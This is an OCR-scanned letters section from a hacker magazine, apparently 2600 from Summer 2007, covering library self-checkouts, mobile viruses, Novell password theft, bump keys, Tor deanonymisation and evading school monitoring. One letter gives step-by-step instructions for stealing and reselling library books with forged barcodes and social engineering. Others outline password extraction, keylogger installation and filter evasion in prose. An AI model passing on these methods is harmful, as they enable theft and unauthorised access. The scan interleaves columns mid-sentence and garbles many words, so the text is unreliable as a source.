from gove rnment or ot he r snooping, and not
having to trust "experts" who make program s
so co mplex that we can' t va lida te the m or
rea lly know tha t they're sec ure.

People w ho have spe nt a lo t of time on
cry pto forums know two things for certa in.
One, that mat h-based program s are not gua r­
anteed to be sec ure, since no body ca n prove
mathem atically that the a lgor ithms are secure,
and two, that the quantum compute rs be ing
develop ed wi ll easily decrypt the ir ciphe r­
text. My a lgorithm atte mpts to approach true
ran domness by mu lti-layer sh uffling, not as
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it $2000 or is it $2DD,ODD?)
He te lls us how "the ex perts" think yo u

need "high er leve l mathem atics" for "a sec ure
crypto program." This is fa lse. Yo u don 't need
highe r level ma the ma tics for a c rypto program
- in fact a nybody can pro bably do :
ht t p :/ / en . wi k i pedi a . o r g / wi ki/Ci phe r s abe r

o n pap er witho ut a co mpute r (and the a lgo­
rithm is reason abl y sec ure wh en used with a
good key). There 's also:
http ://en . wikiped ia .or g/wiki/so1itaire
- (c i phe r ) -

w hich ca n be implem ent ed with a deck of
cards and agai n it is quite sec ure.

However, "high leve l math em atics" is
required for c rack ing even th e simplest ciphe rs.
And if you don 't know how to crack any algo­
rithm how can you cla im yours is secure (by
the way he doesn 't menti on against wh at type
of attac ks he' s sa fe and why - he only men tions
how the a lgor ithm is un safe)?! By parti c ipatin g
in a Usen et newsgroup for seven months?! (By
the way, he fails to mention tha t thi s happen ed
in 1996. ) I guess if I stay o n IRe for half a year
I can be an astronaut as well!

I' ll stop he re for now. Take ca re a nd greet­
ings from the o ld Europe.



is, it's smarter than Byron 's scheme - at least I wo nder if you ever did an article about these
there's less chance of getti ng caught than by annoying intru sive "security" sensors. Thanks.
blatantly stacking two books at a time onto the Ugg
reader. We would certainly be extreme ly interested

2) Create your own bar code using software in learning all about them.
like "Bar Code Pro" found on P2P sites. Use
the code from cheap books like paperback Dear 2600:
novels. Wh en you go to scan your books, the Howd y! This is the first time I have written
automated reader will scan the new codes you to 2600 and only being a reader for a little over
have cleverly taped over the old ones. Sell the a year and considering the techni cal nature of
books, report the books as lost, and dutifully many of your artic les, I certainly never thought
pay your fine. Make sure to stamp the books I would actually be in a semi-know ledgeable
withdrawn so buyers won 't suspect they've position to do so.
been stolen. After reading Toby Zimmerer's piece about

For added security, get a new library card. security issues with mobile devices in 23:4
Sounds tough? If your libra ry card has a bar I thought I would. Firstly, the facts of Toby's
code on the back, use your software to create article are generally fine, but I do think he
a new account number. If it uses a magstripe painted a somewhat alarmist picture.
your job w il l be harder but not impossible. In I have been using various mobile devicesfor
Byron' s artic le he described a system where a number of years: PalmOS, Win CE, Symbian ,
patrons had to enter a four digit code based on and currently Windows M obil e 5. As a picky
their phone number. You'll have to social engi- point, Windows was making a consumer OS
neer administration over the phone - tell them for mobile devices well before the iPaq, the
you forgot your code and no longer use the first of whi ch tried and failed to emulate the
phone number in question. Have them enter Windows 95/98 interface.
a new number. If you do this, you won 't even Toby describes issues w ith Bluetooth hacks
have to pay your fine! or snarfi ng, as it became known. He describes

Which is not to say that I advocate theft an example at an Interop show where 60 open
from libraries. People who steal books are the devices were found. The probl em with this as
lowest of the low. Librariesare wonderful insti- a hack is that whi le the phone does broadcast,
tutions who se mission is to spread knowledge the other user is required 10 authorize any
wh ile protectin g our privacy. sending of fi les by means of either a yes/no

IB entry or by firstly pairi ng the device with the
There's a big difference be twee n edvo- sender. Both require the user to consent.

eating the ft and learning how a system works There was a larger issue with a few Sony
and how it could be compromised. Your ideas Ericsson and Noki a phones of a particular
along with those of the original author have ROM revision that required less user invol ve­
probably contributed towards the eventual ment, but this was a couple of years ago, and
design o f a better system. There are so many from that the risk is pretty small. Consider how
people who don't understand the hacker fast the mobile market operates 10 see that a
mentality and who have a great deal o f diitl- security threat to a phone three or four years
culty with this concept. We hope that what's in old is a very small threat indeed.
our pages helps to define the difference. You are able to send messages to an open

Bluetooth device, and indeed much fun can
Dear 26 00: be had by sending messages to people on the

I read a blurb in a recent issue about bus and watching them as they look around
defeating a library self-checkout. It's old news. wondering who sent it ("hello sexy with the
I've been there, done that. However, one small glassesand bignose!"). But again thisproximity
correction, at least in my hometown: If you do is the issue as far as a real threat is concerned.
run more than one book through the machine Incidentall y this is generally referred to as
at a time, it should demagnetize allof them and "Bluelacking." And we reall y have to acknow l-
thus they would not trip an alarm. M ind you, edge that many peop le do actually sw itch off
it is not foolproof - it doesn't always get them Bluetooth as it drains the battery.
but it usuall y does, and of course the "security" The other thing that I felt could really
gates are notori ous for tripp ing false alarms have done w ith a full er descripti on was
so I doub t they'd have much of a case against regarding how the SMSlBluetooth payloads
you. Which reminds me, after the harassment actually worked from the recipient's stand-
I received last year about a false al legation at poi nt. For example the CommWarrior virus,
a record store (yeah, the term shows my age) being a .sIS file, would mean that it would
from some item I purchased (seriously, I paid only effect Symbian phones and while it may
for it) at another store that tripped their alarm, SMS everyone in your phone book, it's not
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spreading itself in the traditional way. There is
end user damage, but limited impact as far as
user base is concerned . Very limited .

The Skulls trojan mentioned came from
dow nloading warcz and would only di sable
the "smartphone type" functions. Mu ch lik e
One Hop and other variants - Internet inclu ded
- the phone itself would still work, but lack ing
Internet wou ldn 't get out of the handset.
Viruses using Bluetooth as the method of
transmission, again, largely would require user
intervention.

Now we do know that peopl e are idiots,
or, erm unskill ed in the hardware they own ,
but oppnin g an attachment carried by Hlue­
tooth would mean opening a fil e that you
know somebody has sent you because they
, Jr(' next to you or being daft enough to open
an attachment sent by a stranger on a bus or
train. Yes, some would do it, but a citywide
virus outbreak?

Toby cl oses by menti oning that ant i-viral
software is avai lable, Indeed it is and has been
.I non-seller for a few years now and, to be
honest, I think it w ill continue to be so.

The biggest virus threat co ntained w ithin
mobile dev ices has and always w i ll be their
use to access business network resources. As
stand-alone dev ices there are just not enough
in the same vicinity for it to be a signiiicii nt
problem. It wou ld make as much sense buying
anti-virus softwa re for a mob i le device i1S it
would for a Mile. Like the Mac, not on ly are
there very few viruses out there but the small
user base makes an "oulbn'ak" unli kely al Ihis
po int. Toby does mention the future hl'in g of
"always connected" dev ices, and with more
.ind mo re advanced browsers w ith Java capa­
bi li ties, indeed this is a lik ely threat in the next
coup le of years.

At this po int? The potent iii I is there, but
l.irgely it J., just that, potent ial. Current mobi le
viruses are akin to the old ones that rel ied on
floppies or "sneakernet" to spre.id from one
machine to anoth er. In a sense it's the late IlOs
- time wi ll move on, but we aro not there yet.

Wgoodf

group (a cooperation of cornpanies such as
Nok ia, Sony Ericsson, and M otorola) who used
it as the base for thei r ow n srn .irtpho ne O S's.
Symbion itself is not a useable O S, much like
CN U/Linux is not directl y useable w ithout all
the userspace applic ations that make up ')0
percent of a di stribution: Symbian prov ides
the kernel and framework from which to build
a fully round ed mobile devi ce/smartph one
di stribut ion .

The two main distributions based on
Symbi an are Series 60 and UIQ, by Nokia
and Sony Ericsson respecti vely, An honorable
mention also goes to Series !JO, also by Noki a,
w hich uses more of the user interface from the
ori gin ,11 Psion [ POC devices, due to its use on
"palmtop" devices such as the No kia Commu­
nicator series oi hybrid mobil e phonrvpalmtop
computers.

Another honorable mention goes to the
Nok ia 770 and NIlOO Internet Tablet come
palmto p computers, w hich actually do run
a Debian Linu x based distributio n called
Maemo (macrno.org), but run a porteo and
updated version of the Psion [ I'OC user inter­
face, dubbed Hi ldon.

For anyone interested in the w ide range of
mobi le device OS's, and of course the many
issues surrounding them, then the Internet of
course holds mucho info as Symhian in itself
presents many security problems compared
wi th Windows Mob ile and mobi le Linux distri­
but ions, due to an object framework that has
been built up mai nly of hacks upon hacks, and
an obfuscated low level sockets layer.

Wesley

Dear 2600;
H<'fore I attempted to construct my own

skeleton key (24: 1), I thought I wou ld do the
math on myTI 30 X, a scientif ic calculator, SNj

= 1,')53,125. However <)1\5 = 59,04'J. Perhaps
your editor should invest $1.'i in a scientific
calculator hcforc the IW X! publi r. uion . Ot her
than that, I love your magazin e. Keep up the
good work.

Short Blonde

Dea r 2600;
Ma ny thanks for your superb magazine,

which I have read for decadesasa lapsed math­
ematician and ex-prog rammer. As a locksmith
and hardware supplier, I read "Hacking Your
Own Front Door" (24 :1) w ith interest. I have
some comments, cor rectio ns, and comp laints.

TIll' author (Cliff) has l im ited but successful
experience in key humping and he has wr itten
an i llum inating but factual ly hazy account of
the technique. To his credit. hi s description
might allow a reader to perform the opening
tech nique, as we l l as to understand how a

Dea r 2600;
Longtimer eader, new ish lifetime subscriber.

Just w riting to clear up a bit of misinformation
irom the article "Mobiles Devices - Current
and Future Security Threats" by Toby Zimmerer
from 2:l :4.

In the article he stated that the mob ile device
smartphone OS "Syrnbian" is a lightweight
<! istribution of Linux. This is absolutely wro ng.
Syrnb ian is the current version of the EPOC
O S, developed by Psion Ltd. for their range of
mobile devices (such as the Series Smx. Revo.
and Series 7), w hich they sold to the Symbian
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NYC Locksmith

Dear 2600:
I was just reading 23 :4 and felt the need

to respond to the ar ticle "Fun with Novel l"
by Cronicl3. To recap: Novell stores its pass­
word s quit e sec urely but the easiest way for
it to interact with XP is to crea te a loca l user
(with the same nam e and password as the
Novell o ne) an d login with tha t one. If yo u
have access to the co mputer yo u ca n gel the
use rna mes and e ncry pted passwords off the
co mputer and run a password cracker o n it to
ge t the pla intext.

Now from the Novell adminis trator's point
of view the re is a very easy way to minimize
the dam age this ca uses and it's ca lled "vola­
tile use rs." This means that the use r crea ted by
Novel l on login is de leted by Novell o n logo ut.
If this is se t up the n the on ly userna mes and
passwords you wi ll get will be for those people
who did not log out properly for one reason
or anothe r, The re a re a few obscu re instances
where using vo latile users brea ks something
that may be deemed important so that may be
the case for the school in the art icle (or it cou ld
be a case of dumb admin istrators as the author
says).

poorly-protected areas, but they're no mag ic
wand . They take work, talent, and a lot of prac­
tice to use successfully.

Fina lly, the so lution to kee ping crooks from
"bum ping" you r locks open is to buy high­
security cy linders. Medeco, Ab loy, Schlage
Primus, Cor bin Russw in Pyramid, an d a bun ch
more ca n't be bumped . They say Mu l-T-Lock
standa rd cy linders ca n be and I und erstand the
theory bu t I ca n' t testify 10 it. Most thieves just
try to break or pry ope n your do or. If you live
in an apa rtment, physica lly protect your front
door, secondary door (ifyou have one), a nd fire
escape win dow. If you live in a ho use, do a ll
that an d ge t an alarm syste m. And put a high ­
security cy linde r on at least the one stro nges t
lock o n each door. Key 'em a ll a like (whe n d id
you eve r lose just one key?) unless you wa nt to
restr ict access to different people.

Cliff did a fine job as far as he went, a nd it's
grea t that he a ired this cu rrently hot topic in
2600. But it's impo rtant to ge t the facts straight.
I have followed yo u guys from phone issues
into e lectro nics, softwa re, and e lect ron ic hard­
ware, but you r physica l security art icles have
stumbled a bit. They a re often just not up to
yo ur standa rds . Put out po tenti al a rticles for
review in areas yo u don 't know, maybe .

For mor e on this topi c, Google Mall Blaze,
"bump keys", National Locksmith Magazine
and Locksmith Ledger, the n follow their links
as you wis h. This stuff a in't sec ret - isn't that
amazing?

pin tum bler cy linder wor ks (in real ly ge neral
te rms), but his cheery rendition fails to indi­
ca te the ma ny possible pitfalls. In addition, his
terminology is confusing and fanciful.

There are ma ny we bsi res tha t ca n provide
the ind ustry sta nda rd term s for lock parts, so
we all know what the hell we're refe rring to .
Cliff ma kes up a w hole lot of te rms (in fact,
his e ntire second pa ragraph is meaningless)
when he could simply have w ritten, "P in
tumb ler cy linders are used in many types of
locks, so you shou ld learn this tec hniq ue."
Cliff's references so lely to Yale and Chubb
ind ica te a British bias. Pin tumbler cy linders
a re much more common in the U.S. than in
Grea t Britain , wit h man y more manu facturers
and keyways in use. Each of these req uire thei r
own bump key to en te r the pa rticular keyway
you co me across .

The tool co mpanies that make bump keys
a lso make very precise hammers, rath er than
using the back of a screwdriver. I've had
success wi th the back of a sc rew driver myself.
so maybe the hammers are over the top, but if
you do this for a living you bu y the bes t tools
yo u can for pred ictable results.

The making of <l bump key req uires a ce rtai n
amo unt of precision. Spacing an d depths are
critica l. Cliff's description is vag ue at best and
his dec laration that cy linde r pin s have "usua lly
nine position s a long the ir length" is just not
the casco Some dep th syste ms use 0-9 (ten
depths), so me use 1-6, a nd there are a few
othe rs, but usuall y you can't cut a key wi th
the highest cut next to the lowest due to the
required ang le of the c ut, 50 a ll co mbina tions
are not physical ly possible. So his "91\5" figure
(printed incorrectl y as 51\9) is a bit fan ciful. A
five-p in cylinder ge ne rally has abo ut 7,000
possible keys. As for bump keys, no ne of that
mailers at a ll as the bump key is cut to the
lowest officia lly-a llowed cu t in eac h space
regardl ess of the possible num ber of ot he r,
highe r, keys. In add ition, ge ne rally the bump
key gets its sho ulder filed back maybe 0.01 0"
so it can be tap ped into the cylinde r a bit
furthe r tha n where the pin s a re sea ted ove r the
key cuts and the key nor ma lly sits. Cut ang les
an d bottom widt hs ca n vary too , de pending on
ma nufact urer and keyway.

Bumping a cyli nder open is no t the sa me
as having a maste r key. It's a fine-hon ed tech­
nique thaI wor ks when it works. How would
you like to have to pe rform that delicate oper­
ation every time you came home? It's fine to
pu blicize their dangers (and possi bilities) but
let's not consider bump keys a "maste r key"
to every lock in the world, even just the pin­
tumbler ones they can work o n. They ' re a
danger for those who think they're protected ,
and a usefu l tool for those w ho wish <lCCL'SS to
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send button w ith no users selecte d it sent it out
to all users!

You can imagin e that after a few instances
w ith eve ryo ne bein g sent messages (inter­
rupting classes and tests in schools, etc.). the
network adrnins - wh o know how point less
it is try ing to train users, parti cu larly the tran­
sient ones l ike students - dec ided that it was
easier not to use it and, if the fun ct ion ality w as
needed, to use a real 1M cl ient.

Dear 2600:
I read the letter by Marxc200l in 23: 4

about the vu lnerab ility of Tesco self serv ice
checkouts requiring no authentication w ith
in terest as I had already noted this vulner­
abil ity myself.

I thought you might like to know that I
used one myself yesterday for the fi rst time in
some we eks and discovered it had now been
equ ipped with PIN input. So that weak ness at
least has been c losed.

Dear 2600:
In response to A. Saboteur' s letter (24: 1)

about techniques in con cea ling onl ine
browsing habits and sending emai l anony­
mously, I think all your readers shou ld under­
stand that there are ways that the TOR system
can be c ircumvented. A while back I wrote
an article that was pu blished in 2('()() abo ut
using TO R. Af ter that article I bega n to wonder
if there we re ways to expose someone's true
IP even if they were using TOR . The answe r is

Dear 2 600:
I'd li ke to co mment on Breto's information

abou t the Australi an electoral system (24: 1).
The voters are indeed not asked fo r any form
of identifi cat ion, and that's (or a goo d reason :
the re is no co mpulsory ID in Au strali a. A nd the
right to vote to help elect Au strali a's govern­
ments is not only an unden iab le pri vil ege
but also a duty. That is, those w ho don 't vote
withou t a goo d reason (like being overseas) are
fined.

That is why vote theft do esn 't happen .
If someone turns up at the polling station to
vote under an assumed identity, there are all
chances the genuine vote r w i ll also cast a vote.
The co ll ision wi ll result in tho fraudulent vote
bein g di scarded .

There are more details to that. But appar­
ent ly the syste m with checks and balan ces
and w ithout compu lsory c itize n II) is ent irely
possible .

Pal

S. Pidgorny

H enn am ono

Response to Letters

But o f course there is also the local admin­
istrator password stored and retri eved in the
same way. If yo u get this yo u don 't automati ­
c'l i ly have any extra rig hts on the Novel l side
of things (as anyone w ith any sense will make
th is password different from the important
Novell ones) but you can instal l a key logger
etc. to get the usernarnes and passwords of
,myone who logs in after you.

This is a lot of effo rt to go to j ust to get the
.idrninistrato r password for the local mach ine
if you do n't have to. If you have enough acce ss
to get the SAM (w here the passwords are
stored) you probab ly also have eno ugh access
to just b lank the admin istrator password usin g
,1 hoot disk if you don 't w ant to wait for the
p.issword to be decr ypted and you don't think
the password change w i ll detected.

Aga in the admi nistrators can minimi ze the
impact of this hy not all owing the "W or kstat ion
O nly" ti ckb ox to appear on the Novel l login
page mea ning that you must login to Novel l. If
this is the case then it 's prob abl y no t wor th the
..iimt of gelling the admi nistrato r password or
, 'w n h lanking it as yo u can't use it.

Cett ing aro und this is harder but not
impossib le. Wi th a we ll designed Windowsl'L
B.JrtI' L or I.inu x hoot CD you can read and
w rite fil es, edi t the registry, etc. to yo ur he-art's
. ontent which , if all else fails, al lows you
10 ma nua lly instal l your softwa re onr- lil e or
r1'gistry entry at a time.

As always, if the attacker has physical
.urr -ss 10 the machine then bv definition it' s
not secure. I wou ld think however that this
sets the bar high enough (partic ularly if the
machines are reim aged tw ice a year as in
the art ic le) that its suffic ient security from the
network administrator's point oj view and from
tlIP attacker's point of v iew it 's a lot of work for
very litt le ga in . But sti ll it's enou gh of a chal­
I,'nge that .hc hacker will attempt it just to see
i( they can do it.

On the subje ct of why the administra­
to rs don 't give access to nwsend for intranet
instant messaging it may he that they tri ed it a
dec ade ago (as I d id) and decided to never use
it again . At that time it had a relatively simple
C U I inrcrta ce but was very poorly designed . ft
may have changed since then hut as I haven't
used it after a brief dabb le a decade ago I'll
describe how it wa s.

\I w as quite simple: a scro ll ah le li st box
of users and gro ups you highl ighted to send
the message to , below that a pla ce to put your
message, and to the right of that a send button.
Can' t get muc h simpler, righ t? U nfortunately
you had to choose the users to send it to after
you wrote your message. If you selected them
first it would deselect them w hen you started
w riting your message and if you pressed the

-, Summer 2007----- ---------------Page 41



yes , there are ways. If A. Sabote ur visited a site,
say a web site run by the FBI, a nd on that site
Saboteur 's browser downl oad ed a specia lly
c rafted Java app let, that Java app let ca n bypass
Saboteur 's TOR connec tion, thereby ex posi ng
the real IP address Sabo teur is using to the
FBI 's web se rver. There are oth er ways as we ll
a nd I invite your readers to read more at
http : / /uk.geoci t ies . c om/ o sin1941 /
- e xpos i ng t o r . h t ml .

To sum up, to make browser/em a il submis­
sio ns more private, yo u should co nsider these
tips :

1. Don 't use a Java-en ab led browser or
disab le Java w hile using TOR.

2. Set all pro xy prot ocols (ftp, https, etc .) to
the sa me prox y setting as http, eve n if yo u' re
no t go ing to use them .

3. Be pa ranoid of we bsite links that may
have been e ma iled to you, especially if yo u
are using Windows.

OSIN OSIN

Injustice

Dear 2600:
Hello, first off I just wanted to say I love

your mag . Keep up the good work and I love
liste ning to Off The Wall. What an excel lent
program . I came across so mething interestin g
at my job. Work was slow so I decided to take
a little pee k at the Hope Num ber 6 au d io files
so I wou ld have some thing interes ting to listen
to on this bor ing da y at work. Wh en I went to
the HOPE Number 6 website it was blocked
saying it wa s "Illega l or Q uestionab le. " But
that's not what th rew me off. Wh at co nfused
me was that a wa rez site was not blocked.
How is a warez site not "illegal or questio n­
ab le" but the HO PE site is? It rea lly beats me.
just goes to show you how these co mpanies
are b lock ing the good web sites but a llowing
the wrong.

XiverOm
This is always going to be a problem if

people rely on settings determined by other
people who often have little idea what's going
on. There have been many instances where
nobody seems to know what to do in order
to change the de faults which, for whatever
reason, o ften include us. The f1ipside to this
is that it becomes as much a mystery when
trying to add sites to the list. In the end, local
and intelligent control is essential if systems
are going to use blocking software in the first
place.

Dear 2600:
My loca l libary has turn ed into a nazi dicta­

torship. They just put o n a blocker pro gram
ca lled WebB locker. I'm unab le to down load
from a free ga ming site. It gives a n error that
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the co nnection has reset. I do not thin k the
router has don e this but rath er the bloc king
program . Are there any easy hac ks or web
tool s for so meone who has no und erstanding
of code of an y kind?

Also, is there a grou p out there who hack
in the spiri t of co mmo n good or in the nam e
of o ur co untry the USA? I mean are there or
have yo u heard of a nyone that has had hacked
bank accounts, servers, we bsites, and such in
the Midd le East that suppo rt terrorist groups or
d ictatorships? Iwould th ink that there wo uld be
people o ut there. I'm just wo nde ring becau se
this wo uld be a grea t story to te ll.

Barron
So on the one hand you're upset that

someone has decided to control your access
based on who and where you are while on the
other hand you're interested in learning how to
disrupt the activities of others on the net based
on who you believe they are? How do you
propose concluding whether or not someone
deserves to be taken off the net or otherwise
attacked? Your opinion?Someo ne else 's?What
your government tells you? This is not what
hacking is about. What you're interested in is
doing the bidding of one group of people in
order to defeat another. This is what the mili­
tary does. And every time some thing conten­
tious happens in the world, members o f our
military try to get hackers involved in the fight
for their version ofjustice. By even considering
such requests as legitimate, we tarnish what
hackers have always stood for which is free
and open access to thoughts, ideas, and tech­
nology. People are free to do what they want
on their own or as part of some other orga­
nization but please don 't assume hackers are
about to become another branch of anyone:s
military.

Dear 2600:
I just wanted to say how hor rib le I think

the u.s. Postal Service is trea ting yo u. He re
yo u she ll out serious mon ey (not to menti on
addi ng fat profits for the bastard s) and the
"gra titud e" yo u get for bein g a good custo me r
is this treatm ent where they "lose" yo ur issues
and nobody wi ll give yo u a n a nswe r as to
wh ere they are or wh at happen ed to them.
(Do we real ly believe that they don 't know this
with a ll the co mpute rs and tracking co des they
haver) So mu ch for "wa rranty" or "cu stom er
sat isfaction." Obviously unh eard words in the
postal "service." All we ge t are price inc reases
a nd void wa rranties. (How lon g woul d private
co mpanies stay in business with this kind of
' po licy?")

You sho uld be able to sue the m and ge t you r
money back for this since yo u did not rece ive
the a irmail delivery yo u paid for. Sadl y I might
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Randall

Dear 2600:
I just purchased the latest spring issue of

26IJIJ. The total of the mag plus tax came to
$6.66, on Good Friday no less. I incl uded a
scan of the sales rece ipt.

Dear 26 00:
I am wri t ing you today to share an interesting

experiment I did involvi ng SMS messaging. I
had an unused Sierra W ireless 555 card that I
used to use fo r data. I was able to convince my
w ireless carrier to give me the access code 50

that I co uld get into the setup menu. I changed
the phone number associated w ith the Sierra
Wi reless 555 card to match the phone number
of my regul ar cel l pho ne. I then had a friend
send me an SMS message and it appeared on
bot h my subscribed cell phone and th is unsub­
scr ibed Sierra W ireless card. The network I d id
th is on is a 1RXX CDMA2000 provider.

FeTuS in MN

add that I get about the same treatmen t here in
Norway from our postal "serv ice." Often pack­
,l ges are mis laid, undelivered, lost, or insanely
de layed for no reason other than pu re harass­
ment of customers it seems. I am not the on ly
customer treated th is way so it's not just the
U.S. that wan ts to crap out wit h posta l prob­
lems. This kind of harassment "serv ice" seems
to be the nor m for many such entities.

Kristian
Fortunately our last issue went out witho ut

problems, domestic or overseas. Wp're thankful
to those people within the postal system who
too k dn interest when this majo r foul up came
to their etton tion. We hope this pUIS an end to
these problems.

Observations

of computers? Now don 't get me wrong, I now
know my way around a computer pretty well ,
but then I only had a rudimentary knowledge
of computers ou tside of using the Internet and
MS Word .

The com pute rs at my high school were
netw orked wi th Novell software and we re
protected and monitored with a program cal led
Net Support Plus (or Pro, I can' t remem ber),
which my computer progra mming teacher (who
was terr ibl e) so fond ly referred to as his "Cod
Softwa re." For those w ho are unfami liar with
the program, its primary functio n is to serve as
kind of a "security camera" to the computers
attached to the network. It basica lly lets you
see an ind iv idu al 's desktop, mon itor w hat they
are doin g/accessing, and take contro l of their
mo use/keyboa rd. A l l in all it 's a pain in the
neck for any self-respecti ng slacker such as
mysel f wh o had nothing better to do in class
but search the latest YouTube video or find a
review on the latest Xbox game. I thoug ht it
was important but my teacher didn't see eye
to eye and often too k over my co mputer and
close d me ou t of whatever I was do ing, ju st to
prove a poi nt.

W el l, I got tired of that happeni ng so I
started look ing for ways I could ju st over ride
that program. It had been my expe rience in the
past that every program had a back door and I
was sure that thi s one was no exceptio n. So I
started going th rough the running processes in
Task M anager and, just by tri al and error, found
the process that ran NSP on my co mputer.
After terminating the process, however, all
the adm inistrator had to do was reboot the
program and I was under lock again.

The so lut ion came to me while I was at
home that night. I recentl y install ed a game
on my computer and wh en I was try ing to
play it online W ind ow s Firewall had a hissy

Dear 2600: fit and asked me if I wanted to allow it access.
I got a nice chuc kle whe n the $6.25 cover I then had a theory to go on and the next day

price and $0.41 sales tax on your zi ne came at schoo l I tried it. Sure enoug h, the moron s
out to $6.66 . M ark of the beast, baby. Roar. in the tech department didn't lock dow n

Thrill Windows Firewa ll so all that I had to do was
Orlando, Florida d isall ow all exceptions and no outside source

Apparently this is happening in a number co uld access my com puter.
of states that charge tax on publications. Ours To cut a long story short, the nex t thing
isn't one of them so we honestly had no idea . I knew I had the computer teacher recorn -
Honest ly. mend ing me for a job in the tech departm ent.

I, of co urse, dec li ned the offer but it kind of
Dear 2600: made me wonder w hy they pay these people

Is it just me or are high schoo l computer good mo ney to do job s that the teenagers they
technic ians less and less competent as tim e are tryi ng to con trol could do bette r. I mean , it
goes on? I j ust graduated, class of 06, and I was only a mailer of time before they started
made it my personal mission to get by every b locking certa in websites and I was gelli ng
f irewal l and b loc k that they had up. Why is aroun d them with proxy servers and then
it that J could overcome these trained techn i- had other students asking me how they could
clans and all of the expensive software they ran access M ySpace and w hatnot from the schoo l.
without even a graduate level understanding I think they either need to hire better tech ni-
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cians or just give up altogether. It wo uld have
made my li fe that much easier.

Thanks for listening to my rant.
DJ Walk er

Sounds like they at least tried to hire
someone better. Maybe part of the problem is
finding competent people who actually want
to work for them .

Dear 2600:
I found this by accident: 1-866-499-7878. I

was tryin g to dial Cingular/AT&T (1-866-499­
7888). Anyone know what it is?

justin
We're not sure if this is the same thing as

when you dialed it but we heard a very verbose
error message which gave all sorts of info in
addition to the number dialed, such as "server
media, N "card,N "port, N and "channel." Why
anyone needs all of this info is de finitely fodder
for discussion.

its weaknesses. The Hacker, unl ike John Henry,
lives to seeanother day, buoyed by the resilient
effort of succeedi ng. again, at besting someone
else's invention. Know ledge is power.

It's a pure form of a desire for freedom in a
society wh ich seems all too frequently an invi ­
tation to sell ourselves short or succumb to our
weaknesses.

Hackers by definition are like modern
day Harry Houdinis, escaping shackles yet
revealing the tricks so nobody feels they have
to stay sunk by any system designed to limit
intell igence or dignity.

Wh at I like about hacking, as it oper­
ates on all levels from light social hacks to
deep programmin g or the re-engineering of
consumer devices to better serve our indi ­
vidual needs, is that it is basicall y a matter
of constantly and intell igently placing mind
as king over this world of limitations. The
hacker is like Shiva, the Destroyer of Illu sions,
engaging the world of constant change. You

Dear 2600: are the part of the cosmos that penetrates and
I am not a cybergeek, nerd, hacker, or brin gs higher order.You are the bri nger of light,

genius. If anything, I am a hack, no more or or know ledge, to ignorance and oppression.
less. lnd eed , technology ought to serve

I grew up watch ing my dad, a science humanity, even to the extent that Kurzweil in
writer, write freelance artic les and an enti re The Age of Spiritual Machines out lines in the
book on a Smith Corona Selectric III. He then advancement of humanity through the merger
used one of the first dedicated word proces- of eventual machines more powerful than our
sors (was it a KayPro?) with an 8k disk drive, massively paral lel biological supercomputer
a black on blue nine inch CRT, and Diablo minds.
printwheel-based printer, then a NorthStar CPI The hacker is a constant expression of that
M machine, and from there consumer-based ideal.
PC models. His passion for gadgets wasn't lost There must always be a place for review
on me, though I still keep a fountain pen and of techno logy, a place where it is absolutely
small notebook on me at all times. humbled in the face of humanity. I admire

My exposure to programming was brief. 2600 for its courage and inte llige nce in staying
Though I was one of three students selected for afloat despite governmen t int rusion on their
experimenta l comp uter programming in 1979 efforts.
- using a Texas Instruments TI-99 4/A to learn Ultimately the hacker is engaged in a
LOGO and BASIC - I am today basical ly a I'C- compet it ion, through technology, against other
then-Mac end-user. I never really gol inside of techno logica lly savvy people.
the machine. Hacking as a concept ought to be

That said, more than half of this magazine embraced by society as an outlet for growth
goesright over my head. I occasionally read and and change, part of every thinking person's
don't understand the programming language toolk it as a mode of self-expression. Indeed,
or engineering diagrams that enhance and/or every person in a democracy ought to position
dismantle systems for one reason or another. in their consciousness as a poi nt of inspiration
But I like what they point to: greater potentia l for overcoming limits, pushing for yet further
for systems and inherentl y the indefatigable freedom. It ought to become a conce pt held by
nature of human curiosity and intellect. every individual who seeks freedom for them-

W hat I learn from 2600 is invaluable : selves and others. It ought to be regarded as a
Systemsare fall ible and weaknesses need to be too l of the artistry of the individua list, referred
exposed in order for the system to improve. to as needed, utilized wisely.

It's inspiring when the articles take on a John It seems a good avocatio n for those coura-
Henry style story of Human vs. The Inhuman, geous few who are w ill ing to forgo their born
wherein The Hacker actively engagesa system identities (no pun intended) to assume a "hack
developed at a lower level and invites it to a name" and risk personal pun ishment in order
higher level of function by describin g/admit - to expose broken systems at all levels, or to
ting the strengths of said system and exploiting escape oppression, or to fire a shot across
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the bow to arrogant authori ties. Never dou bt ever he finds them - seemi ngly w ith remarks
the seriousness of the role you p lay at this about wh ich kids he could hug, cuddle, touch,
cruci al time in history. Bui ld things that keep etc. He doesn't have a job and regu larly goes
people safer, smarter, or even merely amused. to places where he can i ind kids to photo-
Bew i lder the unimaginative, and inspire the graph. He is continually posting p ictures of
flame- like imagination of the curious. unknow ing kids on his site as fodder and/or

And above all , care ior yourself. Don't prospect ive prey for pedophil es and lists a
expose you rself to harmful risk while carry ing calendar of events at w hich predators can ii nd
out your work. Do n't iso late. Keep friends. kid s - complete w ith suggestions.
D iscuss your work , anonymously so if you Al legedly he did an hour-long interview
must. on Fox (I'm sure thi s is not a favor ite source

Push it further: I lack your body and mi nd of informat ion, but nevertheless as they aired
by eating and exercising as smart as you can significant porti onsof the videotaped interv iew
program. Hack the debt system of ou r country the information appears to be credi ble). He
hy freeing yourself of al l debt and living on a seemed very open about promot ing the action
totally solvent basis. Q uit booze, quit smoking, of adults touch ing children in just-this-side-
qu it anything that ow ns you. Strive for greater of- ill egal ways. On the Fox site, he reported ly
Inx -dorn ior yourself. said, "his 'age of attraction' is between three

So as long as you are br inging light into and 11 years old," and was quoted as saying, "I
systems, also freely apply your mind to your- guess the main thin g is I just thin k they're cute,
self, Help yourself feel stronger, better, freer, a lot cuter than wo men. I admit there is kind
deeper, more clear, more serene. Though of an erotic arousal there." But. apparently,
humb ling at fi rst. your actions w i l l have more no one can shut down his site. Further, al l the
powe r if you stand in reali ty. news attention is public izin g the site.

Invi te the light and, amidst shadows, be the The website is supposedly titled. "Seatt le-
light. And remember that shadows mean more Tacoma-Everett Girl Love." (I haven't been to
than darkness - that they too are caused by it. I would norm al ly research anytb ing before
people, or things, stand ing in the light. w rit ing to anyone for help but I'm not sure

Let's hack. how to access the site w ithout leaving my IP
Ian 2.0 addressand I don't want to be associat ed with

These wo rds could very well be a remedy that site in any wav.)
tor any future feelings of insignificance in Apparent ly, prosecu tors are saying that
the hacker community. They could also hl'ip there is no currently legal way to prosecute
inspire hnckors to evontusllv control the world . and/or just shut dow n the site (although his ISP
We'll keep our fingers crossed. allegedly removed his site, it went back up).

I fu lly understand the importance of
